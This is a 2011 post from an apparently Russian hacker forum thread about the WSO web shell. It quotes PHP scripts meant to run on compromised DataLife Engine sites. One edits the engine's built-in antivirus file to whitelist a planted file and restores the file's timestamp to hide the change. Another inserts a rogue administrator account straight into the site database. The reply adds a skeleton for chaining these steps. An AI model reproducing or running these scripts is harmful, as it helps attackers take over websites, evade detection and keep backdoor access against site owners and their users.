Тема: WSO 2.5 Modified
Показать сообщение отдельно

  #44  
Старый 18.11.2011, 19:36
Osstudio
Постоянный
Регистрация: 17.04.2011
Сообщений: 638
С нами: 7932566

Репутация: 81


По умолчанию

Цитата:
Сообщение от spiderbuber  
Прошу больно не пинать, вопрос скорей не по шеллу, а по выполнению в шелле php скриптов..
Мне часто "попадаются" сайты на движке DLE, поэтому замутил для себя несколько простеньких скриптов для экономия времени..
Прячем файлы от встроенного антивируса:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//AV hide

[/COLOR][COLOR="#0000BB"]$antivir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'../ajax/antivirus.php'[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$time_create[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]filemtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$antivir[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$antivir[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$antivir[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'w'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'"./engine/inc/search.php",'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'"./engine/inc/search.php",

"./engine/ajax/view.php",'
[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]touch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$antivir[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$time_create[/COLOR][COLOR="#007700"]);

echo[/
COLOR][COLOR="#DD0000"]"AV - ok :)"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#FF8000"]// end //[/COLOR][/COLOR] 
Создаём админа
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//adm

[/COLOR][COLOR="#0000BB"]ob_start[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"DATALIFEENGINE"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"1"[/COLOR][COLOR="#007700"]);

include([/
COLOR][COLOR="#DD0000"]"../classes/mysql.class.php"[/COLOR][COLOR="#007700"]);

include([/
COLOR][COLOR="#DD0000"]"dbconfig.php"[/COLOR][COLOR="#007700"]);

include([/
COLOR][COLOR="#DD0000"]"config.php"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]mysql_connect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DBHOST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]DBUSER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]DBPASS[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]mysql_select_db[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DBNAME[/COLOR][COLOR="#007700"]);

@[/
COLOR][COLOR="#0000BB"]set_time_limit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$update[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"INSERT INTO `"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"_users` ( `email` , `password` , `name`, `user_group` ) VALUES ('my@mail.com', '14e1b600b1fd579f47433b88e8d85291', 'adm', '1')"[/COLOR][COLOR="#007700"]);

echo[/
COLOR][COLOR="#DD0000"]"adm in DB - ok :)"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#FF8000"]// end //[/COLOR][/COLOR] 
и много других...
Как все эти скрипты реализовать в одном?
Т.е. выполнился первый, если выдал результат "ок" - переходим ко второму и т.д.
Если произошла ошибка - останавливаем и выводим на экран..
Знаю что реализуется условиями, но не пойму как сделать. Пых начал изучать недавно...
Может, это сойдёт?

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]DLE[/COLOR][COLOR="#007700"]()

{

...

}

if([/
COLOR][COLOR="#0000BB"]DLE[/COLOR][COLOR="#007700"]())

{

echo[/
COLOR][COLOR="#DD0000"]"ok"[/COLOR][COLOR="#007700"];

}

else{

echo[/
COLOR][COLOR="#DD0000"]"Fffuu"[/COLOR][COLOR="#007700"];

}[/
COLOR][/COLOR
 
Ответить с цитированием